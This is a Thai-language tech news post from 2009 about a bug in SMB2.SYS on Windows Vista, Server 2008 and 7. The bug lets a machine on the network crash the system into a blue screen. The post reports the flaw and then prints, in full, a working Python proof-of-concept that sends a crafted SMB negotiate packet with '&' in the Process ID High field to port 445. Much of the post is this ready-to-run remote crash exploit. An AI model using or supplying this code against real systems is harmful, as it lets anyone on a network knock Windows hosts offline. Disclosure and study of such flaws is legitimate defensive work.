SMB2 ใน Vista, Windows Server 2008 และ Windows 7 มีบั๊ก อาจถูกยิงจนเกิด BSOD

by lew
8 September 2009 - 15:48

พบบั๊กในไฟล์ SMB2.SYS ซึ่งเป็นไฟล์ที่ใช้สำหรับโพรโตคอลแชร์ไฟล์ SMB2 ส่งผลถึงระบบปฎิบัติการของไมโครซอฟท์นับแต่วิสต้าเป็นต้นมาเสี่ยงต่อการถูกยิงจากเครื่องในเครือข่ายจนทำให้ระบบล่ม

ลงลึกไปกว่านั้น บั๊กนี้พบในส่วนของการเจรจาเพื่อเปิดการเชื่อมต่อ SMB โดยในฟิลด์ Process ID High นั้นหากมีอักขระ "&" เข้าไปก็จะทำให้ระบบในส่วนนี้ล้มเหลวจนพาทั้งระบบปฎิบัติการล่มและนำไปสู่ "จอฟ้า" ในที่สุด

คาดว่าทุกเครื่องที่เปิดการทำงานของโพรโตคอล SMB2 ไว้จะเสี่ยงต่อบั๊กนี้ทั้งหมด อย่างไรก็ตามยังไม่มีการรายงานว่าบั๊กนี้ส่งผลถึง Windows Server 2008 แน่หรือไม่

โพรโตคอล SMB2 มักใช้ในเครือข่าย LAN เป็นหลัก ดังนั้นบั๊กนี้อาจจะไม่น่ากลัวมากเท่าที่คิด แต่หากสอบๆ อยู่แล้วเพื่อนโต๊ะข้างๆ ยิงจอฟ้าทั้งวันคงไม่สนุกเหมือนกัน

ตัวอย่างโค้ดอยู่หลัง break

ที่มา - seclists.org

!/usr/bin/python

When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a

PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

Blognone Jobs Premium